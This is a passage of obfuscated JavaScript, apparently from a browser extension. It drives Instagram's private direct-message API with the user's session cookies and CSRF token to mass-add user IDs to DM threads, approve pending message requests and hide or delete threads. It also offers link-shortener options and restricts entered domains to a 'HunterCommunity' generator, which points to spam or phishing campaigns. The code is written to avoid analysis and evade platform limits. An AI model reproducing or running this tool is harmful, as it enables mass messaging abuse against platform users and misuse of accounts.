_0xf198d9=_0x4ece4e;_0x39e605++,$(_0xf198d9(0x257))[_0xf198d9(0x1fd)](_0x39e605),$(_0xf198d9(0x2ce))['html'](_0xf198d9(0x2a9))[_0xf198d9(0x204)](_0xf198d9(0x2ab),_0xf198d9(0x255));}),clearTimeout(),_0x2026e3=![],![];else{$[_0x4ece4e(0x2ea)]({'url':_0x4ece4e(0x1fe)+_0x29187a[_0x4ece4e(0x271)]+'/add_user/','type':'post','headers':{'content-type':_0x4ece4e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'data':{'user_ids':JSON[_0x4ece4e(0x208)](_0x4bb07b[_0x2ebc62])}})[_0x4ece4e(0x24e)](function(){var _0x15f062=_0x4ece4e;_0x12882a++,$(_0x15f062(0x20a))[_0x15f062(0x1fd)](_0x12882a),$(_0x15f062(0x2ce))[_0x15f062(0x28d)](_0x15f062(0x275))[_0x15f062(0x204)](_0x15f062(0x2ab),_0x15f062(0x198));})[_0x4ece4e(0x272)](function(){var _0x6ce5bb=_0x4ece4e;_0x39e605++,$(_0x6ce5bb(0x257))[_0x6ce5bb(0x1fd)](_0x39e605),$('.errorLog')['html'](_0x6ce5bb(0x1be))[_0x6ce5bb(0x204)]('color',_0x6ce5bb(0x1e7));}),_0x51cbe8();function _0x51cbe8(){setTimeout(function(){var _0x2a0594=_0x28a9;$['ajax']({'url':'https://i.instagram.com/api/v1/direct_v2/inbox/','type':_0x2a0594(0x1a3),'headers':{'x-ig-app-id':_0x2a0594(0x2c9),'x-ig-www-claim':_0x536e1e},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x43dd1a=_0x2a0594;$(_0x43dd1a(0x2ce))[_0x43dd1a(0x28d)](_0x43dd1a(0x1d3))[_0x43dd1a(0x204)](_0x43dd1a(0x2ab),_0x43dd1a(0x255));},'data':{'persistentBadging':!![],'cursor':_0x317e88}})[_0x2a0594(0x24e)](function(_0x5378db){var _0x552eae=_0x2a0594;kelola_second=_0x5378db[_0x552eae(0x1b2)][_0x552eae(0x1af)],ono_maneh_second=_0x5378db[_0x552eae(0x1b2)][_0x552eae(0x23b)],define_second_cursor=_0x5378db[_0x552eae(0x1b2)]['oldest_cursor'],_0x317e88=define_second_cursor,clearTimeout(),$[_0x552eae(0x286)](kelola_second[_0x552eae(0x1cd)](_0x4bb07b),function(_0x1c4917,_0x1f5039){var _0x24e4dc=_0x552eae,_0x2b0965=!![],_0x2d9a24=_0x1c4917==kelola_second[_0x24e4dc(0x225)]-0x1;return setTimeout(function(){var _0x46ac5d=_0x24e4dc;if(_0x2d9a24){if(ono_maneh_second===![])return $['ajax']({'url':'https://i.instagram.com/api/v1/direct_v2/threads/'+_0x1f5039[_0x46ac5d(0x271)]+'/add_user/','type':_0x46ac5d(0x26a),'crossDomain':!![],'headers':{'content-type':_0x46ac5d(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x46ac5d(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'user_ids':JSON[_0x46ac5d(0x208)](_0x4bb07b[_0x1c4917])}})['done'](function(){var _0x3c0246=_0x46ac5d;_0x12882a++,$(_0x3c0246(0x20a))['text'](_0x12882a),$(_0x3c0246(0x2ce))[_0x3c0246(0x28d)](_0x3c0246(0x212))[_0x3c0246(0x204)](_0x3c0246(0x2ab),'blue');})[_0x46ac5d(0x272)](function(){var _0x16b05b=_0x46ac5d;_0x39e605++,$(_0x16b05b(0x257))[_0x16b05b(0x1fd)](_0x39e605),$(_0x16b05b(0x2ce))[_0x16b05b(0x28d)](_0x16b05b(0x2a9))[_0x16b05b(0x204)](_0x16b05b(0x2ab),'blue');}),clearTimeout(),_0x2b0965=![],![];else $['ajax']({'url':'https://i.instagram.com/api/v1/direct_v2/threads/'+_0x1f5039['thread_id']+_0x46ac5d(0x2cb),'type':'post','crossDomain':!![],'headers':{'content-type':_0x46ac5d(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'user_ids':JSON[_0x46ac5d(0x208)](_0x4bb07b[_0x1c4917])}})[_0x46ac5d(0x24e)](function(){var _0x8a39d2=_0x46ac5d;_0x12882a++,$(_0x8a39d2(0x20a))[_0x8a39d2(0x1fd)](_0x12882a),$(_0x8a39d2(0x2ce))[_0x8a39d2(0x28d)](_0x8a39d2(0x1b6))[_0x8a39d2(0x204)](_0x8a39d2(0x2ab),'green'),_0x51cbe8();})[_0x46ac5d(0x272)](function(){var _0x13aa20=_0x46ac5d;_0x39e605++,$('.mendal')[_0x13aa20(0x1fd)](_0x39e605),$(_0x13aa20(0x2ce))[_0x13aa20(0x28d)](_0x13aa20(0x1be))[_0x13aa20(0x204)](_0x13aa20(0x2ab),_0x13aa20(0x1e7)),_0x51cbe8();});}else $[_0x46ac5d(0x2ea)]({'url':_0x46ac5d(0x1fe)+_0x1f5039[_0x46ac5d(0x271)]+_0x46ac5d(0x2cb),'type':_0x46ac5d(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'user_ids':JSON[_0x46ac5d(0x208)](_0x4bb07b[_0x1c4917])}})['done'](function(){var _0x463c26=_0x46ac5d;_0x12882a++,$(_0x463c26(0x20a))[_0x463c26(0x1fd)](_0x12882a),$('.errorLog')[_0x463c26(0x28d)](_0x463c26(0x275))[_0x463c26(0x204)](_0x463c26(0x2ab),_0x463c26(0x198));})[_0x46ac5d(0x272)](function(){var _0x11b631=_0x46ac5d;_0x39e605++,$(_0x11b631(0x257))[_0x11b631(0x1fd)](_0x39e605),$(_0x11b631(0x2ce))[_0x11b631(0x28d)](_0x11b631(0x1be))[_0x11b631(0x204)](_0x11b631(0x2ab),_0x11b631(0x1e7));});},_0x1c4917*_0x44b3ae),_0x2b0965;});});},0x3e8);}}}else $[_0x4ece4e(0x2ea)]({'url':_0x4ece4e(0x1fe)+_0x29187a[_0x4ece4e(0x271)]+_0x4ece4e(0x2cb),'type':'post','crossDomain':!![],'headers':{'content-type':_0x4ece4e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'user_ids':JSON[_0x4ece4e(0x208)](_0x4bb07b[_0x2ebc62])}})[_0x4ece4e(0x24e)](function(){var _0x39a9c8=_0x4ece4e;_0x12882a++,$(_0x39a9c8(0x20a))[_0x39a9c8(0x1fd)](_0x12882a),$(_0x39a9c8(0x2ce))['html'](_0x39a9c8(0x275))[_0x39a9c8(0x204)](_0x39a9c8(0x2ab),_0x39a9c8(0x198));})[_0x4ece4e(0x272)](function(){var _0xf54765=_0x4ece4e;_0x39e605++,$(_0xf54765(0x257))[_0xf54765(0x1fd)](_0x39e605),$(_0xf54765(0x2ce))[_0xf54765(0x28d)](_0xf54765(0x1be))[_0xf54765(0x204)]('color',_0xf54765(0x1e7));});},_0x2ebc62*_0x44b3ae),_0x2026e3;});if(_0x536e1e!=='0')return _0x536e1e;});}else{if($(_0x5cc1c5(0x216))[_0x5cc1c5(0x1de)]('option.approved')[_0x5cc1c5(0x225)]>0x0){if(!_0x44b3ae||_0x44b3ae<0x1)return alert('Pok\x20Nei\x20Delay\x20!!'),![];else $(this)[_0x5cc1c5(0x1fd)]('WES'),$('.errorLog')[_0x5cc1c5(0x28d)]('<i>Enteni\x20Seg...\x20&#x1F600;</i>')['css']('color',_0x5cc1c5(0x255));if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1f4,$[_0x5cc1c5(0x2ea)]({'url':_0x5cc1c5(0x287),'type':_0x5cc1c5(0x1a3),'xhrFields':{'withCredentials':!![]},'crossDomain':!![],'headers':{'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e},'data':{'cursor':''}})[_0x5cc1c5(0x24e)](function(_0x532c9b,_0x58407d,_0x36431c){var _0x5a5578=_0x5cc1c5;_0x536e1e=_0x36431c[_0x5a5578(0x2cc)](_0x5a5578(0x209)),threadmoop=_0x532c9b[_0x5a5578(0x1b2)][_0x5a5578(0x1af)],get_new=_0x532c9b[_0x5a5578(0x1b2)]['has_older'],sop=_0x532c9b[_0x5a5578(0x1b2)]['oldest_cursor'],_0x317e88=sop;if(threadmoop===null||threadmoop[_0x5a5578(0x225)]===0x0)return $(_0x5a5578(0x2ce))['html'](_0x5a5578(0x2e5))[_0x5a5578(0x204)](_0x5a5578(0x2ab),_0x5a5578(0x255)),![];else{$[_0x5a5578(0x286)](threadmoop,function(_0x11eb58,_0xc8c508){var _0x343470=!![],_0x15aa27=_0x11eb58==threadmoop['length']-0x1;return setTimeout(function(){var _0x30f993=_0x28a9;if(_0x15aa27){if(get_new===![])return $['ajax']({'url':_0x30f993(0x223),'type':_0x30f993(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'thread_ids':JSON['stringify']([_0xc8c508[_0x30f993(0x271)]]),'folder':''}})[_0x30f993(0x24e)](function(){var _0x32569b=_0x30f993;_0x12882a++,$(_0x32569b(0x20a))[_0x32569b(0x1fd)](_0x12882a),$(_0x32569b(0x2ce))['html'](_0x32569b(0x2a3))[_0x32569b(0x204)](_0x32569b(0x2ab),_0x32569b(0x255));}),clearTimeout(),_0x343470=![],![];else{$[_0x30f993(0x2ea)]({'url':_0x30f993(0x223),'type':_0x30f993(0x26a),'crossDomain':!![],'headers':{'content-type':_0x30f993(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x30f993(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'thread_ids':JSON['stringify']([_0xc8c508[_0x30f993(0x271)]]),'folder':''}})[_0x30f993(0x24e)](function(){var _0x439ceb=_0x30f993;_0x12882a++,$(_0x439ceb(0x20a))[_0x439ceb(0x1fd)](_0x12882a),$('.errorLog')['html'](_0x439ceb(0x246))[_0x439ceb(0x204)](_0x439ceb(0x2ab),_0x439ceb(0x198)),_0x5b8c0d();});function _0x5b8c0d(){var _0x50f471=_0x30f993;$[_0x50f471(0x2ea)]({'url':'https://i.instagram.com/api/v1/direct_v2/pending_inbox/','type':'get','xhrFields':{'withCredentials':!![]},'crossDomain':!![],'headers':{'x-ig-app-id':_0x50f471(0x2c9),'x-ig-www-claim':_0x536e1e},'data':{'cursor':_0x317e88}})['done'](function(_0x51313a){var _0x2302e2=_0x50f471;threadmoop_second=_0x51313a[_0x2302e2(0x1b2)]['threads'],get_new_second=_0x51313a['inbox']['has_older'],sop_second=_0x51313a[_0x2302e2(0x1b2)][_0x2302e2(0x1da)],_0x317e88=sop_second,threadmoop_second===null&&threadmoop_second['length']===0x0?$(_0x2302e2(0x2ce))[_0x2302e2(0x28d)]('<i>Wes\x20Entek..\x20&#128522;</i>')['css'](_0x2302e2(0x2ab),_0x2302e2(0x255)):$[_0x2302e2(0x286)](threadmoop_second,function(_0x393a33,_0x5bd54c){var _0x431358=_0x2302e2,_0x5a4652=!![],_0x27816b=_0x393a33==threadmoop[_0x431358(0x225)]-0x1;return setTimeout(function(){var _0x300d6a=_0x431358;if(_0x27816b){if(get_new_second===![])return $[_0x300d6a(0x2ea)]({'url':_0x300d6a(0x223),'type':_0x300d6a(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'thread_ids':JSON[_0x300d6a(0x208)]([_0x5bd54c[_0x300d6a(0x271)]]),'folder':''}})[_0x300d6a(0x24e)](function(){var _0x38db64=_0x300d6a;_0x12882a++,$('.olePiro')['text'](_0x12882a),$(_0x38db64(0x2ce))[_0x38db64(0x28d)](_0x38db64(0x2a3))['css'](_0x38db64(0x2ab),_0x38db64(0x255));}),clearTimeout(),_0x5a4652=![],![];else $['ajax']({'url':_0x300d6a(0x223),'type':'post','crossDomain':!![],'headers':{'content-type':_0x300d6a(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x300d6a(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'thread_ids':JSON[_0x300d6a(0x208)]([_0x5bd54c[_0x300d6a(0x271)]]),'folder':''}})[_0x300d6a(0x24e)](function(){var _0x923a86=_0x300d6a;_0x12882a++,$(_0x923a86(0x20a))[_0x923a86(0x1fd)](_0x12882a),$(_0x923a86(0x2ce))[_0x923a86(0x28d)]('<i>Success\x20Approved..\x20&#128522;</i>')[_0x923a86(0x204)](_0x923a86(0x2ab),_0x923a86(0x198)),_0x5b8c0d();});}else $[_0x300d6a(0x2ea)]({'url':_0x300d6a(0x223),'type':_0x300d6a(0x26a),'crossDomain':!![],'headers':{'content-type':_0x300d6a(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x300d6a(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'thread_ids':JSON[_0x300d6a(0x208)]([_0x5bd54c[_0x300d6a(0x271)]]),'folder':''}})['done'](function(){var _0x42bdc1=_0x300d6a;_0x12882a++,$(_0x42bdc1(0x20a))['text'](_0x12882a),$('.errorLog')['html'](_0x42bdc1(0x246))[_0x42bdc1(0x204)](_0x42bdc1(0x2ab),_0x42bdc1(0x198));});},_0x393a33*_0x44b3ae),_0x5a4652;});});}}}else $[_0x30f993(0x2ea)]({'url':_0x30f993(0x223),'type':_0x30f993(0x26a),'crossDomain':!![],'headers':{'content-type':_0x30f993(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'thread_ids':JSON['stringify']([_0xc8c508[_0x30f993(0x271)]]),'folder':''}})[_0x30f993(0x24e)](function(){var _0x57940b=_0x30f993;_0x12882a++,$(_0x57940b(0x20a))[_0x57940b(0x1fd)](_0x12882a),$(_0x57940b(0x2ce))[_0x57940b(0x28d)]('<i>Success\x20Approved..\x20&#128522;</i>')[_0x57940b(0x204)](_0x57940b(0x2ab),_0x57940b(0x198));});},_0x11eb58*_0x44b3ae),_0x343470;});if(_0x536e1e!=='0')return _0x536e1e;}});}else{if($(_0x5cc1c5(0x216))[_0x5cc1c5(0x1de)](_0x5cc1c5(0x2df))[_0x5cc1c5(0x225)]>0x0){if(!_0x44b3ae||_0x44b3ae<0x1)return alert(_0x5cc1c5(0x244)),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))[_0x5cc1c5(0x204)]('color',_0x5cc1c5(0x255));if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x3e8,$[_0x5cc1c5(0x2ea)]({'url':_0x5cc1c5(0x27a),'type':_0x5cc1c5(0x1a3),'headers':{'x-ig-app-id':_0x5cc1c5(0x2c9),'x-ig-www-claim':_0x536e1e},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0xd6cb47=_0x5cc1c5;$('.errorLog')[_0xd6cb47(0x28d)](_0xd6cb47(0x1d3))[_0xd6cb47(0x204)](_0xd6cb47(0x2ab),_0xd6cb47(0x255));},'data':{'persistentBadging':!![],'folder':'','limit':'10','thread_message_limit':'10'}})['done'](function(_0x537cb6,_0xff02b3,_0x5541ce){var _0x3e2b6d=_0x5cc1c5;_0x536e1e=_0x5541ce['getResponseHeader'](_0x3e2b6d(0x209)),kelola=_0x537cb6[_0x3e2b6d(0x1b2)][_0x3e2b6d(0x1af)],ono_maneh=_0x537cb6[_0x3e2b6d(0x1b2)][_0x3e2b6d(0x23b)],define_cursor=_0x537cb6[_0x3e2b6d(0x1b2)][_0x3e2b6d(0x1da)],_0x317e88=define_cursor;if(kelola===null||kelola[_0x3e2b6d(0x225)]===0x0)return $(_0x3e2b6d(0x2ce))[_0x3e2b6d(0x28d)](_0x3e2b6d(0x222))[_0x3e2b6d(0x204)](_0x3e2b6d(0x2ab),_0x3e2b6d(0x255)),![];else $[_0x3e2b6d(0x286)](kelola,function(_0xe167e3,_0x4b7fef){var _0x1fad84=_0x3e2b6d,_0x3c9368=!![],_0x56d5b7=_0xe167e3==kelola[_0x1fad84(0x225)]-0x1;return setTimeout(function(){var _0x3394bc=_0x1fad84;if(_0x56d5b7){if(ono_maneh===![])return $[_0x3394bc(0x2ea)]({'url':_0x3394bc(0x1fe)+_0x4b7fef[_0x3394bc(0x271)]+'/hide/','type':'post','crossDomain':!![],'headers':{'content-type':_0x3394bc(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3394bc(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x3394bc(0x24e)](function(){var _0x3f042c=_0x3394bc;_0x12882a++,$('.olePiro')[_0x3f042c(0x1fd)](_0x12882a),$('.errorLog')[_0x3f042c(0x28d)]('<i>Wes\x20Mari..\x20&#128522;</i>')[_0x3f042c(0x204)](_0x3f042c(0x2ab),_0x3f042c(0x255));})['fail'](function(){var _0x433d60=_0x3394bc;_0x39e605++,$('.mendal')[_0x433d60(0x1fd)](_0x39e605),$(_0x433d60(0x2ce))[_0x433d60(0x28d)](_0x433d60(0x27c))['css'](_0x433d60(0x2ab),_0x433d60(0x1e7));}),clearTimeout(),_0x3c9368=![],![];else{$[_0x3394bc(0x2ea)]({'url':'https://i.instagram.com/api/v1/direct_v2/threads/'+_0x4b7fef[_0x3394bc(0x271)]+_0x3394bc(0x2c2),'type':'post','crossDomain':!![],'headers':{'content-type':_0x3394bc(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3394bc(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x3394bc(0x24e)](function(){var _0x441afc=_0x3394bc;_0x12882a++,$(_0x441afc(0x20a))[_0x441afc(0x1fd)](_0x12882a),$(_0x441afc(0x2ce))[_0x441afc(0x28d)](_0x441afc(0x226))[_0x441afc(0x204)]('color',_0x441afc(0x198)),_0x25f939();})[_0x3394bc(0x272)](function(){var _0x5cfa5d=_0x3394bc;_0x39e605++,$('.mendal')[_0x5cfa5d(0x1fd)](_0x39e605),$('.errorLog')[_0x5cfa5d(0x28d)]('<i>Limit...\x20&#129324;</i>')['css'](_0x5cfa5d(0x2ab),_0x5cfa5d(0x1e7)),_0x25f939();});function _0x25f939(){var _0x1ccfa9=_0x3394bc;$[_0x1ccfa9(0x2ea)]({'url':_0x1ccfa9(0x27a),'type':_0x1ccfa9(0x1a3),'headers':{'x-ig-app-id':_0x1ccfa9(0x2c9),'x-ig-www-claim':_0x536e1e},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x427c06=_0x1ccfa9;$('.errorLog')[_0x427c06(0x28d)]('<i>Get\x20Thread_id..\x20&#128522;</i>')[_0x427c06(0x204)](_0x427c06(0x2ab),'blue');},'data':{'persistentBadging':!![],'cursor':_0x317e88}})[_0x1ccfa9(0x24e)](function(_0x40e25e){var _0x4572a=_0x1ccfa9;kelola_second=_0x40e25e[_0x4572a(0x1b2)][_0x4572a(0x1af)],ono_maneh_second=_0x40e25e[_0x4572a(0x1b2)][_0x4572a(0x23b)],define_second_cursor=_0x40e25e[_0x4572a(0x1b2)]['oldest_cursor'],_0x317e88=define_second_cursor,$['each'](kelola_second,function(_0x58a67c,_0x519ac7){var _0x25fa4c=_0x4572a,_0x3a1435=!![],_0xad3713=_0x58a67c==kelola_second[_0x25fa4c(0x225)]-0x1;return setTimeout(function(){var _0x410136=_0x25fa4c;if(_0xad3713){if(ono_maneh_second===![])return $['ajax']({'url':'https://i.instagram.com/api/v1/direct_v2/threads/'+_0x519ac7[_0x410136(0x271)]+_0x410136(0x2c2),'type':_0x410136(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x410136(0x24e)](function(){var _0x1f374c=_0x410136;_0x12882a++,$('.olePiro')['text'](_0x12882a),$(_0x1f374c(0x2ce))[_0x1f374c(0x28d)](_0x1f374c(0x2d4))[_0x1f374c(0x204)]('color',_0x1f374c(0x255));})[_0x410136(0x272)](function(){var _0x1a5913=_0x410136;_0x39e605++,$(_0x1a5913(0x257))[_0x1a5913(0x1fd)](_0x39e605),$(_0x1a5913(0x2ce))['html'](_0x1a5913(0x27c))[_0x1a5913(0x204)](_0x1a5913(0x2ab),_0x1a5913(0x1e7));}),clearTimeout(),_0x3a1435=![],![];else $['ajax']({'url':_0x410136(0x1fe)+_0x519ac7[_0x410136(0x271)]+'/hide/','type':'post','crossDomain':!![],'headers':{'content-type':_0x410136(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x410136(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})['done'](function(){var _0x5950b1=_0x410136;_0x12882a++,$(_0x5950b1(0x20a))['text'](_0x12882a),$(_0x5950b1(0x2ce))[_0x5950b1(0x28d)](_0x5950b1(0x226))[_0x5950b1(0x204)](_0x5950b1(0x2ab),_0x5950b1(0x198)),_0x25f939();})['fail'](function(){var _0x2b9c88=_0x410136;_0x39e605++,$(_0x2b9c88(0x257))[_0x2b9c88(0x1fd)](_0x39e605),$(_0x2b9c88(0x2ce))[_0x2b9c88(0x28d)](_0x2b9c88(0x1be))['css'](_0x2b9c88(0x2ab),'red'),_0x25f939();});}else $['ajax']({'url':_0x410136(0x1fe)+_0x519ac7[_0x410136(0x271)]+_0x410136(0x2c2),'type':_0x410136(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x410136(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})['done'](function(){var _0x3ca880=_0x410136;_0x12882a++,$(_0x3ca880(0x20a))['text'](_0x12882a),$(_0x3ca880(0x2ce))[_0x3ca880(0x28d)](_0x3ca880(0x226))['css'](_0x3ca880(0x2ab),_0x3ca880(0x198));})[_0x410136(0x272)](function(){var _0x451110=_0x410136;_0x39e605++,$(_0x451110(0x257))[_0x451110(0x1fd)](_0x39e605),$('.errorLog')['html'](_0x451110(0x1be))[_0x451110(0x204)](_0x451110(0x2ab),_0x451110(0x1e7));});},_0x58a67c*_0x44b3ae),_0x3a1435;});});}}}else $[_0x3394bc(0x2ea)]({'url':_0x3394bc(0x1fe)+_0x4b7fef[_0x3394bc(0x271)]+_0x3394bc(0x2c2),'type':_0x3394bc(0x26a),'crossDomain':!![],'headers':{'content-type':_0x3394bc(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3394bc(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x3394bc(0x24e)](function(){var _0x5a80a7=_0x3394bc;_0x12882a++,$(_0x5a80a7(0x20a))['text'](_0x12882a),$(_0x5a80a7(0x2ce))['html']('<i>Success\x20Delete..\x20&#128522;</i>')['css'](_0x5a80a7(0x2ab),_0x5a80a7(0x198));})['fail'](function(){var _0x192130=_0x3394bc;_0x39e605++,$(_0x192130(0x257))[_0x192130(0x1fd)](_0x39e605),$(_0x192130(0x2ce))['html'](_0x192130(0x1be))[_0x192130(0x204)]('color','red');});},_0xe167e3*_0x44b3ae),_0x3c9368;});if(_0x536e1e!=='0')return _0x536e1e;});}else return alert(_0x5cc1c5(0x2d5)),$(_0x5cc1c5(0x2ce))['html'](_0x5cc1c5(0x296))['css'](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255)),![];}}}}}}}}}});function random(_0x4aec06){var _0xf399ee=_0x481b82;const _0x5c91b8=Math['floor'](Math[_0xf399ee(0x231)]()*0xf+_0x4aec06);return _0x5c91b8;}function guid(){function _0x259a98(){var _0x57d23d=_0x28a9;return Math[_0x57d23d(0x1db)]((0x1+Math[_0x57d23d(0x231)]())*0x10000)[_0x57d23d(0x1fa)](0x10)[_0x57d23d(0x2c0)](0x1);}return _0x259a98()+_0x259a98()+'-'+_0x259a98()+'-'+_0x259a98()+'-'+_0x259a98()+'-'+_0x259a98()+_0x259a98()+_0x259a98();}function chunkify(_0x5776dd,_0x1c6ddc=random(0x2)){var _0x2ef20d=_0x481b82;const _0x3612d3=Array['from']({'length':Math[_0x2ef20d(0x2e7)](_0x5776dd[_0x2ef20d(0x225)]/_0x1c6ddc)},(_0x3e261f,_0x3e3313)=>{var _0x4d942d=_0x2ef20d;const _0x3c2fc7=_0x1c6ddc*_0x3e3313;return _0x5776dd[_0x4d942d(0x218)](_0x3c2fc7,_0x3c2fc7+_0x1c6ddc);});return _0x3612d3;}function chunkifyUID(_0x4850ef,_0x5ccb18=0x5){var _0x2ee4df=_0x481b82;const _0x4dc4ef=Array['from']({'length':Math['ceil'](_0x4850ef[_0x2ee4df(0x225)]/_0x5ccb18)},(_0x1ca437,_0x1a2c17)=>{var _0x57a725=_0x2ee4df;const _0x4a111c=_0x5ccb18*_0x1a2c17;return _0x4850ef[_0x57a725(0x218)](_0x4a111c,_0x4a111c+_0x5ccb18);});return _0x4dc4ef;}$(document)['on'](_0x481b82(0x1c5),_0x481b82(0x1ea),function(){var _0x54e6f5=_0x481b82,_0x5310b1=$(_0x54e6f5(0x251)),_0x1ee4b2=$(_0x54e6f5(0x1aa)),_0x4cd5ac=Math[_0x54e6f5(0x1db)](Math[_0x54e6f5(0x231)]()*full_stack[_0x54e6f5(0x225)]),_0x46918a=Math[_0x54e6f5(0x1db)](Math[_0x54e6f5(0x231)]()*tanda[_0x54e6f5(0x225)]),_0x2b7655=full_stack[_0x4cd5ac],_0x32492e=_0x2b7655[_0x54e6f5(0x1f0)](),_0x135f88=_0x32492e[_0x54e6f5(0x278)](/\s/g,''),_0x2d42e5=tanda[_0x46918a],_0xfeba9f=_0x2d42e5[_0x54e6f5(0x1f0)](),_0x3fe2ee=_0xfeba9f[_0x54e6f5(0x278)](/\s/g,'');$(this)[_0x54e6f5(0x1fd)](_0x54e6f5(0x2ae)),_0x38dba8();function _0x38dba8(){_0x5310b1['sendkeys'](full_stack[_0x4cd5ac]),_0x3581b5();}function _0x3581b5(){var _0x7d94f3=setInterval(function(){var _0x390c02=_0x28a9;_0x1ee4b2[_0x390c02(0x1a2)](_0x135f88+_0x3fe2ee);{clearInterval(_0x7d94f3),sandi();}},0x64);}}),$(document)['on'](_0x481b82(0x1ac),'.android,\x20.ios',function(){var _0x379c31=_0x481b82,_0x344736=new Audio(chrome[_0x379c31(0x282)][_0x379c31(0x219)]('sad.mp3'));if($(this)[_0x379c31(0x1df)]()['indexOf'](_0x379c31(0x2c3))>-0x1)return!![];else{if($(this)['val']()[_0x379c31(0x1e3)]('ebonyselvie')>-0x1)return!![];else{if($(this)['val']()[_0x379c31(0x1e3)]('igio')>-0x1)return!![];else{if($(this)[_0x379c31(0x1df)]()['indexOf']('kittystar')>-0x1)return!![];else{if($(this)[_0x379c31(0x1df)]()[_0x379c31(0x1e3)](_0x379c31(0x260))>-0x1)return!![];else alert('Domain\x20Dilarang\x20!!,\x20Masukkan\x20Hanya\x20Domain\x20Generator\x20HunterCommunity'),$(this)[_0x379c31(0x1df)](''),_0x344736[_0x379c31(0x1c4)]();}}}}}),$(document)['on'](_0x481b82(0x19c),_0x481b82(0x221),function(_0x43626a){var _0x30a0ea=_0x481b82,_0x44492b=$(_0x30a0ea(0x206),this),_0x23cc63=this['value'];$(_0x30a0ea(0x294))[_0x30a0ea(0x2e4)](function(_0x5c26e7,_0x4427a2){return(_0x4427a2['match'](/random|bnc|shrtco|linkshim|goolnk|bitly/g)||[])['join']('');}),_0x23cc63==_0x30a0ea(0x231)&&_0x44492b['addClass']('random'),_0x23cc63==_0x30a0ea(0x210)&&_0x44492b['addClass'](_0x30a0ea(0x210)),_0x23cc63==_0x30a0ea(0x1cf)&&_0x44492b['addClass']('shrtco'),_0x23cc63==_0x30a0ea(0x2db)&&_0x44492b[_0x30a0ea(0x25b)](_0x30a0ea(0x2db)),_0x23cc63==_0x30a0ea(0x27b)&&_0x44492b['addClass'](_0x30a0ea(0x27b)),_0x23cc63==_0x30a0ea(0x27d)&&_0x44492b[_0x30a0ea(0x25b)](_0x30a0ea(0x27d));}),$(document)['on'](_0x481b82(0x1c5),_0x481b82(0x1f9),function(){var 